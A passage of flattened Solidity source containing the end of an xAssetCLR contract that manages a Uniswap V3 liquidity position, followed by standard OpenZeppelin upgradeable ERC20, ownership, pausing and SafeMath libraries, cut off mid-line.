token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }), UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: positionManagerAddress, router: routerAddress, pool: poolAddress }) ); emit Rebalance(); } /** * @dev Admin function for staking in position */ function adminStake(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { (uint256 stakeAmount0, uint256 stakeAmount1) = calculatePoolMintedAmounts(amount0, amount1); _stake(stakeAmount0, stakeAmount1); } /** * @dev Admin function for unstaking from position */ function adminUnstake(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { _unstake(amount0, amount1); } /** * @dev Admin function for swapping LP tokens in xAssetCLR * @param amount - swap amount (in t0 terms if _0for1, in t1 terms if !_0for1) * @param _0for1 - swap token 0 for 1 if true, token 1 for 0 if false */ function adminSwap(uint256 amount, bool _0for1) external onlyOwnerOrManager { if (_0for1) { swapToken0ForToken1(amount.add(amount.div(SWAP_SLIPPAGE)), amount); } else { swapToken1ForToken0(amount.add(amount.div(SWAP_SLIPPAGE)), amount); } } /** * @dev Admin function for swapping LP tokens in xAssetCLR using 1inch v3 exchange * @param minReturn - how much output tokens to receive on swap, in 18 decimals * @param _0for1 - swap token 0 for token 1 if true, token 1 for token 0 if false * @param _oneInchData - 1inch calldata, generated off-chain using their v3 api */ function adminSwapOneInch( uint256 minReturn, bool _0for1, bytes memory _oneInchData ) external onlyOwnerOrManager { UniswapLibrary.oneInchSwap( minReturn, _0for1, UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }), _oneInchData ); } /** * @dev Stake liquidity in position */ function _stake(uint256 amount0, uint256 amount1) private returns (uint256 stakedAmount0, uint256 stakedAmount1) { return UniswapLibrary.stake( amount0, amount1, positionManagerAddress, tokenId ); } /** * @dev Unstake liquidity from position */ function _unstake(uint256 amount0, uint256 amount1) private returns (uint256 collected0, uint256 collected1) { uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1); (uint256 _amount0, uint256 _amount1) = unstakePosition(liquidityAmount); return collectPosition(uint128(_amount0), uint128(_amount1)); } /** * @dev Withdraws all current liquidity from the position */ function withdrawAll() private returns (uint256 _amount0, uint256 _amount1) { // Collect fees collect(); (_amount0, _amount1) = unstakePosition(getPositionLiquidity()); collectPosition(uint128(_amount0), uint128(_amount1)); } /** * @dev Creates the NFT token representing the pool position * @dev Mint initial liquidity */ function createPosition(uint256 amount0, uint256 amount1) private returns (uint256 _tokenId) { UniswapLibrary.TokenDetails memory tokenDetails = UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }); UniswapLibrary.PositionDetails memory positionDetails = UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: positionManagerAddress, router: routerAddress, pool: poolAddress }); return UniswapLibrary.createPosition( amount0, amount1, positionManagerAddress, tokenDetails, positionDetails ); } /** * @dev Unstakes a given amount of liquidity from the Uni V3 position * @param liquidity amount of liquidity to unstake * @return amount0 token0 amount unstaked * @return amount1 token1 amount unstaked */ function unstakePosition(uint128 liquidity) private returns (uint256 amount0, uint256 amount1) { UniswapLibrary.PositionDetails memory positionDetails = UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: positionManagerAddress, router: routerAddress, pool: poolAddress }); return UniswapLibrary.unstakePosition(liquidity, positionDetails); } function _mintInternal(uint256 _amount) private { uint256 mintAmount = calculateMintAmount(_amount, totalSupply()); return super._mint(msg.sender, mintAmount); } /* * Emergency function in case of errant transfer * of any token directly to contract */ function withdrawToken(address token, address receiver) external onlyOwnerOrManager { require(token != address(token0) && token != address(token1)); uint256 tokenBal = IERC20(address(token)).balanceOf(address(this)); if (tokenBal > 0) { IERC20(address(token)).safeTransfer(receiver, tokenBal); } } function pauseContract() external onlyOwnerOrManager returns (bool) { _pause(); return true; } function unpauseContract() external onlyOwnerOrManager returns (bool) { _unpause(); return true; } modifier onlyOwnerOrManager { require( msg.sender == owner() || xTokenManager.isManager(msg.sender, address(this)), "Function may be called only by owner or manager" ); _; } /* ========================================================================================= */ /* Uniswap helpers */ /* ========================================================================================= */ /** * @dev Swap token 0 for token 1 in xAssetCLR using Uni V3 Pool * @dev amounts should be in 18 decimals * @param amountIn - amount as maximum input for swap, in token 0 terms * @param amountOut - amount as output for swap, in token 0 terms */ function swapToken0ForToken1(uint256 amountIn, uint256 amountOut) private { UniswapLibrary.swapToken0ForToken1( amountIn, amountOut, UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: positionManagerAddress, router: routerAddress, pool: poolAddress }), UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }) ); } /** * @dev Swap token 1 for token 0 in xAssetCLR using Uni V3 Pool * @dev amounts should be in 18 decimals * @param amountIn - amount as maximum input for swap, in token 1 terms * @param amountOut - amount as output for swap, in token 1 terms */ function swapToken1ForToken0(uint256 amountIn, uint256 amountOut) private { UniswapLibrary.swapToken1ForToken0( getAmountInAsset0Terms(amountIn), getAmountInAsset0Terms(amountOut), UniswapLibrary.PositionDetails({ poolFee: poolFee, twapPeriod: twapPeriod, priceLower: priceLower, priceUpper: priceUpper, tokenId: tokenId, positionManager: positionManagerAddress, router: routerAddress, pool: poolAddress }), UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), token0DecimalMultiplier: token0DecimalMultiplier, token1DecimalMultiplier: token1DecimalMultiplier, tokenDiffDecimalMultiplier: tokenDiffDecimalMultiplier, token0Decimals: token0Decimals, token1Decimals: token1Decimals }) ); } /** * @dev Collect token amounts from pool position */ function collectPosition(uint128 amount0, uint128 amount1) private returns (uint256 collected0, uint256 collected1) { return UniswapLibrary.collectPosition( amount0, amount1, tokenId, positionManagerAddress ); } /** * @dev Change pool fee and address */ function changePool(address _poolAddress, uint24 _poolFee) external onlyOwnerOrManager { poolAddress = _poolAddress; poolFee = _poolFee; } // Returns the current liquidity in the position function getPositionLiquidity() public view returns (uint128 liquidity) { return UniswapLibrary.getPositionLiquidity( positionManagerAddress, tokenId ); } /** * @dev Get asset 0 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset0Price() public view returns (int128) { return UniswapLibrary.getAsset0Price( poolAddress, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Get asset 1 twap * @dev Uses Uni V3 oracle, reading the TWAP from twap period * @dev or the earliest oracle observation time if twap period is not set */ function getAsset1Price() public view returns (int128) { return UniswapLibrary.getAsset1Price( poolAddress, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Checks if twap deviates too much from the previous twap */ function checkTwap() private { lastTwap = UniswapLibrary.checkTwap( poolAddress, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier, lastTwap, maxTwapDeviationDivisor ); } /** * @dev Reset last twap if oracle price is consistently above the max deviation */ function resetTwap() external onlyOwnerOrManager { lastTwap = getAsset0Price(); } /** * @dev Set the max twap deviation divisor * @dev if twap moves more than the divisor specified * @dev mint, burn and mintInitial functions are locked */ function setMaxTwapDeviationDivisor(uint256 newDeviationDivisor) external onlyOwnerOrManager { maxTwapDeviationDivisor = newDeviationDivisor; } /** * @dev Set the oracle reading twap period * @dev Twap used is [now - twapPeriod, now] */ function setTwapPeriod(uint32 newPeriod) external onlyOwnerOrManager { require(newPeriod >= 360); twapPeriod = newPeriod; } /** * @dev Calculates the amounts deposited/withdrawn from the pool * amount0, amount1 - amounts to deposit/withdraw * amount0Minted, amount1Minted - actual amounts which can be deposited */ function calculatePoolMintedAmounts(uint256 amount0, uint256 amount1) public view returns (uint256 amount0Minted, uint256 amount1Minted) { uint128 liquidityAmount = getLiquidityForAmounts(amount0, amount1); (amount0Minted, amount1Minted) = getAmountsForLiquidity( liquidityAmount ); } /** * @dev Calculates single-side minted amount * @param inputAsset - use token0 if 0, token1 else * @param amount - amount to deposit/withdraw */ function calculateAmountsMintedSingleToken(uint8 inputAsset, uint256 amount) public view returns (uint256 amount0Minted, uint256 amount1Minted) { uint128 liquidityAmount; if (inputAsset == 0) { liquidityAmount = getLiquidityForAmounts(amount, type(uint112).max); } else { liquidityAmount = getLiquidityForAmounts(type(uint112).max, amount); } (amount0Minted, amount1Minted) = getAmountsForLiquidity( liquidityAmount ); } function getLiquidityForAmounts(uint256 amount0, uint256 amount1) public view returns (uint128 liquidity) { liquidity = UniswapLibrary.getLiquidityForAmounts( amount0, amount1, priceLower, priceUpper, poolAddress ); } function getAmountsForLiquidity(uint128 liquidity) public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = UniswapLibrary.getAmountsForLiquidity( liquidity, priceLower, priceUpper, poolAddress ); } /** * @dev Get lower and upper ticks of the pool position */ function getTicks() external view returns (int24 tick0, int24 tick1) { return (tickLower, tickUpper); } /** * Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken0AmountInWei(uint256 amount) private view returns (uint256) { return UniswapLibrary.getToken0AmountInWei( amount, token0Decimals, token0DecimalMultiplier ); } /** * Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION */ function getToken1AmountInWei(uint256 amount) private view returns (uint256) { return UniswapLibrary.getToken1AmountInWei( amount, token1Decimals, token1DecimalMultiplier ); } /** * Returns token0 amount in token0Decimals */ function getToken0AmountInNativeDecimals(uint256 amount) private view returns (uint256) { return UniswapLibrary.getToken0AmountInNativeDecimals( amount, token0Decimals, token0DecimalMultiplier ); } /** * Returns token1 amount in token1Decimals */ function getToken1AmountInNativeDecimals(uint256 amount) private view returns (uint256) { return UniswapLibrary.getToken1AmountInNativeDecimals( amount, token1Decimals, token1DecimalMultiplier ); } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 